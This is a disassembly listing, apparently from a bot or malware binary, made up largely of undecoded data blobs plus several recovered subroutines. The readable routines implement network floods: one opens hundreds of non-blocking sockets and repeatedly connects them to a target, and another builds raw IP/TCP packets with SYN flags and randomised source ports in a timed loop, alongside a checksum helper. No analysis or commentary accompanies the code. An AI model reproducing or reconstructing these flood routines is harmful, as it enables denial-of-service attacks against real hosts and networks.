1CCAh, 0E8E075FFh, 0FFFF769Dh, 90565959h, 2EBFCBE8h dd 0C408B02h, 3EB008Bh, 8B08458Dh, 0DC7D3900h, 75F44589h dd 8014E811h, 0B9990000h, 0FFDCh, 5242F9F7h, 75FF03EBh dd 415FFDCh, 39004C93h, 8966DC75h, 37DF245h, 0B8DC7589h dd 0FFFFh, 7EDC4539h, 0DC458903h, 6AD0458Bh, 0F759990Ah dd 0D87D39F9h, 75D04589h, 0D8758903h, 7D39F633h, 0E81A7ED4h dd 7FC6h, 0FFB999h, 0F9F70000h, 0D4753B46h, 0EF359488h dd 7CFFFEFCh, 0D0458BE6h, 85D04DFFh, 6A557EC0h, 458D5E0Bh dd 50106AF0h, 7F98E857h, 0A6A0000h, 0F9F75999h, 2BD4458Bh dd 858D50C2h, 0FFFEFCF0h, 15FF5350h, 4C9368h, 90D875FFh dd 28C44EE8h, 0CE754E02h, 75DC7D39h, 7F68E8BCh, 0B9990000h dd 0FFDCh, 5242F9F7h, 930415FFh, 8966004Ch, 0A1EBF245h dd 0FF50858Dh, 8D50FFFFh, 0FFFCCC85h, 726C68FFh, 0E8500043h dd 7EDEh, 390CC483h, 2075E87Dh, 0CC858D57h, 0FFFFFFFCh dd 8D50E475h, 0FFFED085h, 0B5FF50FFh, 0FFFFFECCh, 0FF5715E8h dd 14C483FFh, 0FCCC858Dh, 0E850FFFFh, 1B92h, 0E8E075FFh dd 0FFFF7565h, 90575959h, 2EBE93E8h db 2 byte_41416D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401AC7+4D0Fo dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 8D50FFFFh, 0FFFE7085h dd 858D50FFh, 0FFFFFDF0h, 11DE850h, 8D500000h, 0FFFBEC85h dd 72C068FFh, 0E8500043h, 7E46h, 0C483F633h, 0F8753918h dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh dd 0FDECB5FFh, 7BE8FFFFh, 83FFFF56h, 858D14C4h, 0FFFFFBECh dd 1AF8E850h, 75FF0000h, 74CBE8F0h, 5959FFFFh, 0F9E89056h dd 5F022EBDh ; --------------------------------------------------------------------------- pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414209 proc near ; CODE XREF: ___:004142F2p var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41BD10 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4C9304 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_4142C7 push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_414254: ; CODE XREF: sub_414209+B9j lea esi, [ebp+var_654] mov ebx, edi loc_41425C: ; CODE XREF: sub_414209+7Aj push 0 push 1 push 2 nop call near ptr 71AB3C22h cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_41427F lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call near ptr 71AB155Ah nop loc_41427F: ; CODE XREF: sub_414209+64j add esi, 4 dec ebx jnz short loc_41425C lea esi, [ebp+var_654] mov ebx, edi loc_41428D: ; CODE XREF: sub_414209+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] nop call near ptr 71AB3E5Dh add esi, 4 dec ebx jnz short loc_41428D push 64h nop call near ptr 26A053Bh lea esi, [ebp+var_654] mov ebx, edi loc_4142B1: ; CODE XREF: sub_414209+B4j push dword ptr [esi] nop call near ptr 71AB1A6Dh add esi, 4 dec ebx jnz short loc_4142B1 dec [ebp+arg_4] jnz short loc_414254 pop edi pop esi pop ebx loc_4142C7: ; CODE XREF: sub_414209+3Ej xor eax, eax leave retn sub_414209 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A8E4 push dword ptr [esp+18h] mov edi, eax call sub_41BEF9 push dword ptr [esp+20h] mov ebx, eax call sub_41BEF9 mov esi, eax push esi push ebx push edi call sub_414209 add esp, 18h test eax, eax jnz short loc_414301 push 1 pop eax loc_414301: ; CODE XREF: ___:004142FCj cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_414310 dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h ; DATA XREF: sub_401AC7+63A9o dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 30DE8h dd 858D5000h, 0FFFFFBECh, 4372EC68h, 0A3E85000h, 3300007Ch dd 18C483F6h, 75F87539h, 858D5620h, 0FFFFFBECh, 50F475FFh dd 0FF70858Dh, 0FF50FFFFh, 0FFFDECB5h, 54D8E8FFh, 0C483FFFFh dd 0EC858D14h, 50FFFFFBh, 1955E8h, 0F075FF00h, 0FF7328E8h dd 565959FFh, 2EBC57E8h, 5E5F9002h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143AC proc near ; CODE XREF: ___:0041469Ap var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4C9274 test eax, eax jz short loc_4143EC xor eax, eax jmp loc_41465A ; --------------------------------------------------------------------------- loc_4143EC: ; CODE XREF: sub_4143AC+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4C93A8 cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_414652 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4C92E4 cmp eax, 0FFFFFFFFh jz loc_414648 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41BD10 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4C9304 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4C9304 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4C9304 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4C9304 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call near ptr 27A043Ah nop lea eax, [ebp+var_8] push eax nop call near ptr 27A014Eh push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41DA20 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_4144D7: ; CODE XREF: sub_4143AC+25Dj ; sub_4143AC+26Bj mov [ebp+var_24], bx call sub_41C062 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4C9304 mov [ebp+var_34], ax call sub_41C062 mov edi, eax shl edi, 10h call sub_41C062 or edi, eax push edi call dword_4C9304 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4C9300 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4C9304 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41CAB0 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41CAB0 lea eax, [ebp+var_B4] push 34h push eax call sub_40AA53 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41CAB0 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41CAB0 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41BD10 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AA53 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41CAB0 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4C9368 cmp eax, 0FFFFFFFFh jz short loc_41461C add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax nop call near ptr 27A014Eh mov eax, [ebp+var_4] cmp eax, esi jg short loc_414645 jl loc_4144D7 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_414645 jmp loc_4144D7 ; --------------------------------------------------------------------------- loc_41461C: ; CODE XREF: sub_4143AC+247j call dword_4C9298 push eax lea eax, [ebp+var_F4] push offset dword_437314 push eax call sub_41C006 lea eax, [ebp+var_F4] push eax call sub_415CEE add esp, 10h jmp short loc_414648 ; --------------------------------------------------------------------------- loc_414645: ; CODE XREF: sub_4143AC+25Bj ; sub_4143AC+269j mov ebx, [ebp+arg_8] loc_414648: ; CODE XREF: sub_4143AC+78j ; sub_4143AC+297j push [ebp+var_C] call dword_4C939C pop esi loc_414652: ; CODE XREF: sub_4143AC+5Bj call dword_4C925C mov eax, ebx loc_41465A: ; CODE XREF: sub_4143AC+3Bj pop edi pop ebx leave retn sub_4143AC endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A8E4 push dword ptr [esp+18h] mov esi, eax call sub_41BEF9 push dword ptr [esp+20h] mov ebx, eax call sub_41BEF9 mov edi, eax call sub_41C062 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_4143AC add esp, 1Ch test eax, eax jnz short loc_4146A9 push 1 pop eax loc_4146A9: ; CODE XREF: ___:004146A4j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_4146B8 dd 81EC8B55h, 394ECh, 8458B00h, 656A5756h, 8DF08B59h, 0FFFE6CBDh ; DATA XREF: sub_401AC7+6D33o dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 7810E8h dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4C9344h, 5BE850h dd 8D500000h, 0FFFC6C85h, 733468FFh, 0E8500043h, 78F6h dd 0C483F633h, 0F8753914h, 8D562075h, 0FFFC6C85h, 0F475FFFFh dd 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 2BE8FFFFh, 83FFFF51h dd 858D14C4h, 0FFFFFC6Ch, 15A8E850h, 75FF0000h, 6F7BE8F0h dd 5959FFFFh, 0B8AAE856h, 5F90022Eh, 0EC8B555Eh, 98EC81h dd 56530000h, 59016A57h, 0FF78A583h, 6A00FFFFh, 0A8658304h dd 0FFBB5E00h, 6A000000h, 5AC03306h, 89AC7D8Dh, 0FFFF7C8Dh dd 8045C7FFh, 2, 89847589h, 45C78855h, 88Ch, 9045C700h dd 0Ch, 119445C7h, 0C7000000h, 169845h, 45C70000h, 299Ch dd 0A045C700h, 3Ah, 89A45D89h, 8DABB045h, 4589D47Dh, 0B84589B4h dd 0BC45C7h, 89000020h, 5589C075h, 0C845C7C4h, 3FFFh, 89CC4D89h dd 4D89D045h, 0BFABD8h, 57000001h, 8F3CE8h, 45895900h dd 0FF5057FCh, 4C931815h, 0FC75FF00h, 938815FFh, 408B004Ch dd 36A530Ch, 8B026Ah, 4589008Bh, 8415FFF4h, 8D004C93h dd 5156D84Dh, 6A026Ah, 0FC458950h, 92E415FFh, 0BE004Ch dd 56000002h, 745AE8h, 0B83D8B00h, 59004270h, 0FFF84589h dd 0F04589D7h, 6808458Bh, 29Ah, 0FF6C8589h, 0C766FFFFh dd 0FFFF6885h, 0FF0002FFh, 4C930415h, 85896600h, 0FFFFFF6Ah dd 452BD7FFh, 0B9D233F0h, 3E8h, 453BF1F7h, 0CF870F0Ch dd 0E8000000h, 77D2h, 0F7CB8B99h, 0F4458BF9h, 0FFFFFF25h dd 18E2C100h, 5589D00Bh, 77B8E8F4h, 8B990000h, 89F9F7CBh dd 0ABE8AC55h, 99000077h, 1FA4B9h, 0DC45C600h, 0C6F9F745h dd 8904DD45h, 93E8D455h, 66000077h, 0E8E04589h, 778Ah dd 59990A6Ah, 8B66F9F7h, 50B09544h, 930415FFh, 6656004Ch dd 0FFE24589h, 4C930415h, 45896600h, 0E45D88DEh, 7761E8h dd 990E6A00h, 6AF9F759h, 95848A14h, 0FFFFFF78h, 8BE54588h dd 4589F445h, 8458BE8h, 8DEC4589h, 0E850DC45h, 0FFFF612Bh dd 0E6458966h, 6ADC458Dh, 75FF5014h, 8176E8F8h, 0C4830000h dd 68858D14h, 6AFFFFFFh, 6A5010h, 0F875FF56h, 0FFFC75FFh dd 4C936815h, 0FF1AE900h, 75FFFFFFh, 70CFE8F8h, 0FF590000h dd 15FFFC75h, 4C939Ch, 5F58016Ah, 0C3C95B5Eh dword_414974 dd 81EC8B55h, 440ECh, 8458B00h, 6A575653h, 59F08B68h, 0FDC0BD8Dh ; DATA XREF: sub_401AC7+534Ao dd 0A5F3FFFFh, 0DB33016Ah, 61BD8D5Eh, 6AFFFFFFh, 9CB0890Eh dd 59000001h, 9D88C033h, 0FFFFFF60h, 0AB66ABF3h, 0B83D8BAAh dd 0FF004270h, 99E850D7h, 59000076h, 0FF68h, 6A036A00h dd 8415FF02h, 83004C93h, 4589FFF8h, 0FF6675FCh, 4C929815h dd 858D5000h, 0FFFFFBC0h, 43744C68h, 17E85000h, 83000076h dd 9D390CC4h, 0FFFFFF58h, 8D532375h, 0FFFBC085h, 54B5FFFFh dd 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h, 4E48E8FFh dd 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 12C5E8h, 44B5FF00h dd 0E8FFFFFFh, 0FFFF6C95h, 90535959h, 2EB5C3E8h, 0CC4D8D02h dd 6A51046Ah, 89505302h, 15FFCC75h, 4C92E4h, 75FFF883h dd 9815FF66h, 50004C92h, 0FBC0858Dh, 1468FFFFh, 50004374h dd 7599E8h, 0CC48300h, 0FF589D39h, 2375FFFFh, 0C0858D53h dd 0FFFFFFFBh, 0FFFF54B5h, 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h dd 0E8FFFFFDh, 0FFFF4DCAh, 8D14C483h, 0FFFBC085h, 47E850FFh dd 0FF000012h, 0FFFF44B5h, 6C17E8FFh, 5959FFFFh, 0B546E853h dd 8D90022Eh, 0FFFDC485h, 15FF50FFh, 4C9344h, 75FFF883h dd 0C0858D5Eh, 68FFFFFBh, 4373F4h, 7528E850h, 9D390000h dd 0FFFFFF58h, 23755959h, 0C0858D53h, 0FFFFFFFBh, 0FFFF54B5h dd 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh, 0FFFF4D5Ah dd 8D14C483h, 0FFFBC085h, 0D7E850FFh, 0FF000011h, 0FFFF44B5h dd 6BA7E8FFh, 5959FFFFh, 0B4D6E853h, 6A90022Eh, 0BC458D10h dd 0D9E85053h, 83000071h, 0C7660CC4h, 2BC45h, 415FF53h dd 66004C93h, 8DBE4589h, 0FFFDC485h, 15FF50FFh, 4C9344h dd 89C04589h, 0D7FF085Dh, 0FFD04589h, 0D0452BD7h, 0E8B9D233h dd 0F7000003h, 4C853BF1h, 0FFFFFFFh, 2AA87h, 0C6286A00h dd 0FF45D445h, 4C930415h, 509D3900h, 66FFFFFFh, 66D64589h dd 66D87589h, 0C6DA5D89h, 0C680DC45h, 6606DD45h, 74DE5D89h dd 74B4E82Dh, 0F08B0000h, 0E808E6C1h, 74AAh, 0E6C1F003h dd 74A0E808h, 0F0030000h, 0E808E6C1h, 7496h, 16AF003h dd 5EE07589h, 0B5FF16EBh, 0FFFFFDC0h, 0FF5E19E8h, 0FF5059FFh dd 4C934415h, 0E0458900h, 39C0458Bh, 0FFFF489Dh, 0E44589FFh dd 63E81075h, 99000074h, 401B9h, 52F9F700h, 0B5FF06EBh dd 0FFFFFF48h, 930415FFh, 8966004Ch, 43E8EA45h, 99000074h dd 401B9h, 52F9F700h, 930415FFh, 7868004Ch, 66123456h dd 0FFE84589h, 4C930015h, 0EC458900h, 0FE44858Dh, 0D068FFFFh dd 500042B0h, 742FE8h, 0C0855900h, 89097459h, 45C6F05Dh dd 5CEB02F5h, 0FE44858Dh, 0EC68FFFFh, 500042AEh, 740FE8h dd 0C0855900h, 89097459h, 45C6F05Dh, 3CEB10F5h, 0FE44858Dh dd 0E468FFFFh, 500042AEh, 73EFE8h, 0C0855900h, 0E8257459h dd 73C6h, 5999036Ah, 5589F9F7h, 73B8E8F0h, 26A0000h, 0F9F75999h dd 0D21ADAF7h, 20EE280h, 0F55588D1h, 20068h, 0F445C600h dd 415FF50h, 66004C93h, 8BF64589h, 4589E045h, 0E4458B9Ch dd 8966146Ah, 8966FA5Dh, 4589F85Dh, 0A45D88A0h, 6A545C6h dd 930415FFh, 8966004Ch, 458DA645h, 50206A9Ch, 0FF60858Dh dd 0E850FFFFh, 7DA8h, 6AE8458Dh, 458D5014h, 99E85080h dd 8D00007Dh, 0FFFF6085h, 50346AFFh, 0FF5D2EE8h, 458966FFh dd 0D4458DF8h, 8D50146Ah, 0FFFF6085h, 75E850FFh, 8D00007Dh dd 146AE845h, 74858D50h, 50FFFFFFh, 7D63E8h, 8D046A00h dd 50538845h, 6FB7E8h, 44C48300h, 0FF60858Dh, 286AFFFFh dd 5CE9E850h, 8966FFFFh, 458DDE45h, 50146AD4h, 0FF60858Dh dd 0E850FFFFh, 7D30h, 8D14C483h, 106ABC45h, 858D5350h dd 0FFFFFF60h, 0FF503C6Ah, 15FFFC75h, 4C9368h, 74FFF883h dd 845FF08h, 0FFFDBAE9h, 0FC75FFFFh, 939C15FFh, 15FF004Ch dd 4C9298h, 0C4858D50h, 0FFFFFFFDh, 68500875h, 4373A4h dd 0FBC0858Dh, 68FFFFh, 50000002h, 7327E8h, 18C48300h dd 0FF589D39h, 2375FFFFh, 0C0858D53h, 0FFFFFFFBh, 0FFFF54B5h dd 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh, 0FFFF4A5Eh dd 8D14C483h, 0FFFBC085h, 0DBE850FFh, 0FF00000Eh, 0FFFF44B5h dd 68ABE8FFh, 5959FFFFh, 0D9E89053h, 0FF022EB1h, 15FFFC75h dd 4C939Ch, 3308458Bh, 3CC06BD2h, 0E8C1C88Bh, 4CB5F70Ah dd 0C1FFFFFFh, 505114E9h, 0FDC4858Dh, 75FFFFFFh, 858D5008h dd 0FFFFFE44h, 0C0858D50h, 68FFFFFBh, 437354h, 719CE850h dd 0C4830000h, 589D391Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h dd 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h dd 0FF49CDE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 0E4Ah dd 0FF44B5FFh, 1AE8FFFFh, 59FFFF68h, 0E8905359h, 22EB148h ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp+0Ch], esi jle short loc_414EE4 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414ED6: ; CODE XREF: ___:00414EDEj movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414ED6 pop edi cmp eax, 1 loc_414EE4: ; CODE XREF: ___:00414ECAj jnz short loc_414EF1 mov al, [edx] mov [ebp+0Ch], al movzx eax, word ptr [ebp+0Ch] add esi, eax loc_414EF1: ; CODE XREF: ___:loc_414EE4j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn ; --------------------------------------------------------------------------- word_414F0A dw 8B55h ; DATA XREF: sub_401AC7+6C61o dd 94EC81ECh, 8B000003h, 57560845h, 8B59656Ah, 6CBD8DF0h dd 0F3FFFFFEh, 9080C7A5h, 1000001h, 8D000000h, 0FFFEF085h dd 0BEE850FFh, 5900006Fh, 70858D50h, 50FFFFFEh, 934415FFh dd 8D50004Ch, 0FFFE6CB5h, 94EC81FFh, 6A000001h, 0FC8B5965h dd 5CE8A5F3h, 50000000h, 0FC6C858Dh, 8068FFFFh, 50004374h dd 7091E8h, 81F63300h, 1A8C4h, 0F8753900h, 8D562075h, 0FFFC6C85h dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0C3E8FFFFh dd 83FFFF48h, 858D14C4h, 0FFFFFC6Ch, 0D40E850h, 75FF0000h dd 6713E8F0h, 5959FFFFh, 0B042E856h, 5590022Eh, 0EC81EC8Bh dd 0CCh, 358B5653h, 4270B8h, 8957DB33h, 0D6FFFC5Dh, 0FF68h dd 6A036A00h, 0F0458902h, 938415FFh, 4589004Ch, 50D6FFF8h dd 7063E8h, 78BF5900h, 57000005h, 16A096Ah, 3B7DE8h, 50595900h dd 50D8458Dh, 6CFFE8h, 0CC48300h, 5A0BEh, 5BE89000h, 2B0229BDh dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C0870F00h, 39000001h dd 4CCAC01Dh, 6A577500h, 45895810h, 458D50ECh, 0E8505398h dd 6CC0h, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h dd 4C92A8h, 0FF68h, 0E8016A00h, 3B12h, 45B60F50h, 0B60F509Eh dd 0F509D45h, 509C45B6h, 0FF34858Dh, 1068FFFFh, 500042D9h dd 6F75E8h, 20C48300h, 858D13EBh, 0FFFFFF34h, 4CC4A068h dd 79E85000h, 59000075h, 34858D59h, 50FFFFFFh, 934415FFh dd 4589004Ch, 0A8458BF4h, 0C564524h, 0AC45C645h, 0A8458910h dd 930415FFh, 8966004Ch, 8BE8AE45h, 6600006Fh, 8BB04589h dd 4589F445h, 9C858BB8h, 66000001h, 40B245C7h, 0B445C600h dd 0B545C640h, 5D896606h, 0BC4589B6h, 6F61E8h, 45896600h dd 6F58E8C0h, 89660000h, 4FE8C245h, 8900006Fh, 47E8C445h dd 8900006Fh, 458BC845h, 502566CCh, 0C146AFFh, 0CE45C650h dd 45896618h, 458B66CCh, 458966C2h, 0BC458B8Ah, 8D8C4589h dd 6650A845h, 7DD045C7h, 5D896678h, 5D8966D2h, 45C766D4h dd 0E8000288h, 0FFFFFD5Ch, 0B6458966h, 6AA8458Dh, 4DE85028h dd 8BFFFFFDh, 0C483B845h, 54858910h, 8BFFFFFFh, 8C68BC45h dd 89000005h, 0FFFF5885h, 5C9D88FFh, 0C6FFFFFFh, 0FFFF5D85h dd 0AFE806FFh, 907169C5h, 5E858966h, 8DFFFFFFh, 0FFFF6085h dd 50146AFFh, 50C0458Dh, 78FFE8h, 74858D00h, 57FFFFFFh dd 0D8458D50h, 78EEE850h, 858D0000h, 0FFFFFF54h, 59868h dd 0E5E85000h, 83FFFFFCh, 896620C4h, 106AD245h, 5088458Dh dd 0A8458D53h, 75FF5056h, 6815FFF8h, 0FF004C93h, 22E9FC45h dd 0FFFFFFFEh, 15FFF875h, 4C939Ch, 5FFC458Bh, 0C3C95B5Eh dword_415208 dd 81EC8B55h, 414ECh, 8558B00h, 85B856h, 8B570000h, 8DF28BC8h ; DATA XREF: sub_401AC7+4BE2o dd 0FFFDECBDh, 14EC81FFh, 0F3000002h, 8DC88BA5h, 0FFFDECB5h dd 0C7FC8BFFh, 21082h, 100h, 0E8A5F300h, 36h, 0EC858D50h dd 68FFFFFBh, 4374B4h, 6DACE850h, 0C4810000h, 220h, 0FBEC858Dh dd 0E850FFFFh, 0A82h, 0E8F075FFh, 0FFFF6455h, 6A5959h dd 0AD82E890h, 8B55022Eh, 54EC81ECh, 53000002h, 0FFBB56h dd 53570000h, 26A036Ah, 938415FFh, 0F883004Ch, 0F44589FFh dd 858D1A75h, 0FFFFFDACh, 4376A468h, 53E85000h, 5900006Dh dd 0E959FF33h, 2C6h, 6AEC4D8Dh, 0FF335104h, 5057026Ah dd 1EC45C7h, 0FF000000h, 4C92E415h, 0FFF88300h, 15FF0E75h dd 4C9298h, 76546850h, 1BEB0043h, 500C458Dh, 934415FFh dd 0F883004Ch, 0FF2075FFh, 4C929815h, 10685000h, 8D004376h dd 0FFFDAC85h, 0F7E850FFh, 8300006Ch, 6BE90CC4h, 57000002h dd 0DC45C766h, 15FF0002h, 4C9304h, 0DE458966h, 500C458Dh dd 0BFC6E890h, 358B7169h, 4270B8h, 0FFE04589h, 0F84589D6h dd 500C458Dh, 0FDAC858Dh, 0E468FFFFh, 50004375h, 6CB1E8h dd 0CC48300h, 214BD39h, 20750000h, 0AC858D57h, 0FFFFFFFDh dd 210B5h, 858D5000h, 18Ch, 875FF50h, 0FF44E5E8h, 14C483FFh dd 0FFFC7D89h, 0F8452BD6h, 0E8B9D233h, 0F7000003h, 8DF08BF1h dd 10C85h, 5AE85000h, 3B00006Bh, 870F59F0h, 191h, 41CBEh dd 0BB05EB00h, 0FFh, 0CAC03D39h, 5075004Ch, 8958106Ah dd 8D50F045h, 5057CC45h, 6943E8h, 0CC48300h, 50F0458Dh dd 50CC458Dh, 0FF0875FFh, 4C92A815h, 16A5300h, 3799E8h dd 0B60F5000h, 0F50D245h, 50D145B6h, 0D045B60Fh, 0AC458D50h dd 42D91068h, 0FFE85000h, 8300006Bh, 10EB20C4h, 68AC458Dh dd 4CC4A0h, 7206E850h, 59590000h, 0A005C656h, 45004CC6h dd 930415FFh, 0A366004Ch, 4CC6A2h, 50AC458Dh, 0A405C766h dd 1004CC6h, 3D896600h, 4CC6A6h, 0C6A805C6h, 0C680004Ch dd 4CC6A905h, 89661100h, 4CC6AA3Dh, 4415FF00h, 0A3004C93h dd 4CC6ACh, 0A3E0458Bh, 4CC6B0h, 8C858Dh, 66500000h, 0C6BA3D89h dd 7AE8004Ch, 8500006Ah, 107559C0h, 6BD9E8h, 1B99900h dd 0F7000004h, 0EEB52F9h, 8C858Dh, 0E8500000h, 6A59h, 15FF5059h dd 4C9304h, 0C6B6A366h, 0AFE8004Ch, 9900006Bh, 401B9h dd 4086800h, 0F9F70000h, 0B4158966h, 0FF004CC6h, 4C930415h dd 4006800h, 0A3660000h, 4CC6B8h, 6B85E8h, 0FBF79900h dd 0C6BC6852h, 25E8004Ch, 83000068h, 458D0CC4h, 50106ADCh dd 0A0685657h, 0FF004CC6h, 15FFF475h, 4C9368h, 0FFFF883h dd 0A484h, 0FC45FF00h, 29B865E8h, 452B9002h, 0B9D233F8h dd 3E8h, 0D88BF1F7h, 10C858Dh, 0E8500000h, 69C9h, 0F59D83Bh dd 0FFFE7686h, 0F475FFFFh, 939C15FFh, 758B004Ch, 0C858DFCh dd 50000001h, 41CF669h, 0A2E80000h, 8B000069h, 0C1C68BC8h dd 0D2330AE8h, 0EEC1F1F7h, 0FF565014h, 458DFC75h, 858D500Ch dd 0FFFFFDACh, 43758068h, 87E85000h, 8300006Ah, 0BD391CC4h dd 214h, 8D572075h, 0FFFDAC85h, 10B5FFFFh, 50000002h, 18C858Dh dd 0FF500000h, 0BBE80875h, 83FFFF42h, 5E5F14C4h, 0C95BC033h dd 0FC75FFC3h, 9815FF56h, 50004C92h, 500C458Dh, 0FDAC858Dh dd 0F468FFFFh, 50004374h, 6A35E8h, 18C48300h db 0EBh, 0ACh word_4155D6 dw 8B55h ; DATA XREF: sub_401AC7+62C1o dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 68F0E8h dd 8D505900h, 0FFFE7085h, 0E2E850FFh, 59000068h, 0F0858D50h dd 50FFFFFDh, 934415FFh, 0E850004Ch, 144h, 0EC858D50h dd 68FFFFFBh, 4376D0h, 69C8E850h, 0F6330000h, 3918C483h dd 2075F875h, 0EC858D56h, 